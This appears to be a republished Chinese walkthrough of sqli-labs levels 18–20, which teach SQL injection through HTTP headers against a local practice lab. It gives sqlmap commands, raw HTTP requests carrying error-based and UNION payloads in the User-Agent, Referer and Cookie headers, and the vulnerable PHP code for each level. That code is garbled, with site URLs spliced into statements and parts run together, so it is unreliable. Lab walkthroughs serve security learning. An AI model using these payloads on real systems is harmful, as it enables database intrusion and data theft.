首页 > 代码库 > 【Mysql sql inject】【入门篇】sqli-labs使用 part 4【18-20】
【Mysql sql inject】【入门篇】sqli-labs使用 part 4【18-20】
这几关的注入点产生位置大多在HTTP头位置处
常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】;
- Less-18 Header Injection- Error Based- string
1)工具用法:
注入点在user-agent处,所以使用sqlmap -r参数就可以了,将请求的测试数据包保存成1.txt,然后在user-agent字段处加个*号。然后输入下列命令就可以使用工具注入
- sqlmap -r 1.txt –current-db –threads 10 –batch –technique BEST
测试数据包 1.txt
POST /hacker/sqli-labs-master/Less-18/index.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0*Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/hacker/sqli-labs-master/Less-18/index.phpConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 38 uname=admin&passwd=admin&submit=Submit
2)手工注入
前面的字段前篇一律,只要有错误回显得话,匹配好单引号可以直接使用updatexml爆错语句验证注入点;
POST /hacker/sqli-labs-master/Less-18/index.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0‘ and updatexml(1,concat(0x7e,database()),1) and ‘11‘=‘11Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/hacker/sqli-labs-master/Less-18/index.phpConnection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 38 uname=admin&passwd=admin&submit=Submit
3)注入点产生代码
//检查值是否为空,不为空使用mysql_real_escape_string函数对输入的值进行过滤function check_input($value) { if (!empty($value)) { // truncation (see comments) $value = http://www.mamicode.com/substr($value, 0, 20);"‘".mysql_real_escape_string($value)."‘"; } else { $value = http://www.mamicode.com/intval($value);"<br>";echo ‘Your IP ADDRESS is: ‘.$IP;echo "<br>";//echo ‘Your User Agent is: ‘ .$uagent;// take the variablesif (isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘])) { $uname = check_input($_POST[‘uname‘]); $passwd = check_input($_POST[‘passwd‘]); //logging the connection parameters to a file for analysis. $fp = fopen(‘result.txt‘, ‘a‘); fwrite($fp, ‘User Agent:‘.$uname."\n"); fclose($fp); $sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if ($row1) { echo ‘<font color= "#FFFF00" font size = 3 >‘; $insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (‘$uagent‘, ‘$IP‘, $uname)"; //注入点产生位置 mysql_query($insert);
-Less-19 Header Injection- Referer- Error Based- string
这一关的注入点产生在referer处,主要为用insert语句写入时未判断。。
Referer:‘ AND (SELECT 1690 FROM(SELECT COUNT(*),CONCAT(0x716a707171,(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,54)),0x717a767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ‘qmQA‘=‘qmQA
Playload
所使用的注入语句
完整的HTTP请求包
POST /sqli-labs-master/Less-19/ HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/sqli-labs-master/Less-19/‘ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1‘=‘1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 38uname=admin&passwd=admin&submit=Submit
核心代码
function check_input($value) { if (!empty($value)) { // truncation (see comments) $value = http://www.mamicode.com/substr($value, 0, 20);"‘".mysql_real_escape_string($value)."‘"; } else { $value = http://www.mamicode.com/intval($value);"<br>";echo ‘Your IP ADDRESS is: ‘.$IP;echo "<br>";//echo ‘Your User Agent is: ‘ .$uagent;// take the variablesif (isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘])) { $uname = check_input($_POST[‘uname‘]); $passwd = check_input($_POST[‘passwd‘]); $fp = fopen(‘result.txt‘, ‘a‘); fwrite($fp, ‘Referer:‘.$uname."\n"); fclose($fp); $sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if ($row1) { echo ‘<font color= "#FFFF00" font size = 3 >‘; $insert = "INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES (‘$uagent‘, ‘$IP‘)"; //注入点产生处 mysql_query($insert);
-Less-20 Cookie Injection- Error Based- string
Playload
Cookie:Dumb-4829‘ UNION ALL SELECT NULL,CONCAT(0x7170786271,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x7176706271),NULL-- -
核心代码
1、接收用户名,密码;2、如果正确,设定用户名作为cookies值3、查询数据库中有没有相关的用户名等于cookies名144-147行代码$cookee = base64_decode($cookee);echo "<br></font>";$sql="SELECT * FROM users WHERE username=(‘$cookee‘) LIMIT 0,1";$result=mysql_query($sql);...188-189代码echo " Your Cookie is deleted";setcookie(‘uname‘, base64_encode($row1[‘username‘]), time()-3600);
【Mysql sql inject】【入门篇】sqli-labs使用 part 4【18-20】
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。